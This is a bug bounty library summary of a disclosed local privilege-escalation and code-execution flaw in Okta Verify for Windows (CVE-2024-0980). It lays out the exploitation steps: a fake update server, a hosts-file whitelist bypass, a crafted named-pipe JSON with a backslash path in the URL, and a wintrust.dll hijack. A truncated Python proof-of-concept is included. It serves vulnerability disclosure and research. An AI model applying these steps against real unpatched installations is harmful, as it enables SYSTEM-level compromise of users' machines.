# Okta Verify for Windows Remote Code Execution – CVE-2024-0980

Okta Verify Windows update service wrote attacker-controlled files as SYSTEM via Path.Combine path injection, enabling DLL hijack to SYSTEM/RCE.

- Payout: $13,337
- Severity: high
- Program: Okta
- Found by (vendor credit): Ryan Wincey of Securifera, Inc
- Found by: b0yd
- Disclosed: 2024-05-02
- CVE: CVE-2024-0980
- Write-up quality: 8/10
- Original: https://www.securifera.com/blog/2024/05/02/okta-verify-for-windows-remote-code-execution-cve-2024-0980/
- Library page: https://bugbountylibrary.com/r/blog%3Asecurifera-com-blog-2024-05-02-okta-verify-for-windows-remote-code-execution-cve-2024-0980
- Tags: area:os domain:desktop impact:privesc impact:rce kind:bounty platform:blog sev:high tech:dotnet tech:windows technique:chained technique:source-review vuln:file-upload vuln:path-traversal vuln:privilege-escalation vuln:rce

**Target:** Okta Verify for Windows update service (Okta.Coordinator.Service / Okta.AutoUpdate.Executor named pipe)
**Root cause:** Update metadata's download URL filename is split on '/' and passed to Path.Combine with a privileged directory; a full Windows path using backslashes in the URL overrides the parent folder, allowing arbitrary file write as SYSTEM.
**Steps:**
1. Enumerate running services with Procmon; identify Okta.Coordinator.Service running as SYSTEM and its named pipe.
2. Reverse Okta.AutoUpdate.Executor.dll in dotPeek; find JSON update protocol over named pipe with href/type/hash/commandArgs fields.
3. Host a fake update server; add hosts entry to satisfy the Okta subdomain whitelist check.
4. Send JSON with `"href": "https://test.okta.com/C:\\%s" % payload_name` so the last path segment is a full Windows path.
5. Observe file written to C:\test.txt as SYSTEM.
6. For code execution, write `wintrust.dll` to `C:\Program Files (x86)\Okta\UpdateService\wintrust.dll` to hijack the DLL loaded just before signature verification.
**How found:** Started by enumerating local services with Procmon, noticed SYSTEM service; guessed .NET from .config file, decompiled with dotPeek, spotted named pipe update mechanism and traced JSON handling to Path.Combine with user-controlled URL filename.
**Exploitation:** Unprivileged local user sends crafted JSON to the named pipe; service fetches metadata from attacker server, writes arbitrary file as SYSTEM via Path.Combine injection, then a DLL placed in the service directory (wintrust.dll) is loaded before signature check, yielding SYSTEM code execution. Remote variant requires AD domain where BUILTIN\Users maps to Domain Users with pipe access.
**Escalation:** Chained arbitrary file write to DLL hijack (wintrust.dll) for SYSTEM RCE; attempted to escalate to remote RCE via AD Domain Users pipe permissions and to full RCE via subdomain takeover of oktahelpspot.okta.com (failed).
**Insight:** When a privileged updater builds a file path from a URL's last path segment, try inserting a full Windows path with backslashes (e.g. `https://host/C:\file`) — it remains a valid URL but Path.Combine discards the parent dir. Also check DLLs loaded just before signature verification for hijack.

## Proof of concept (copied exactly from the original report)

**Malicious update JSON with path traversal href**

```
sha256_hash = hashlib.sha256()
sha256_hash.update("AAAAA")
lib_hash = sha256_hash.hexdigest()
payload_name = "test.txt"

class CustomRequestHandler(http.server.BaseHTTPRequestHandler):
 def do_GET(self):
 if self.path.startswith('/api'):
 # Handle GET requests here
 json_data = {
 "version": "5.0.0",
 "files": [
 {
 "href": "https://test.okta.com/C:\\%s" % payload_name,
 "size": len(payload),
 "hashValue": "abcd1234",
 "type": "Document",
 "fileHashes": {
 "SHA256": lib_hash
 },
 "commandArgs": "",
 "requiresElevatedInstall": True
 },
```

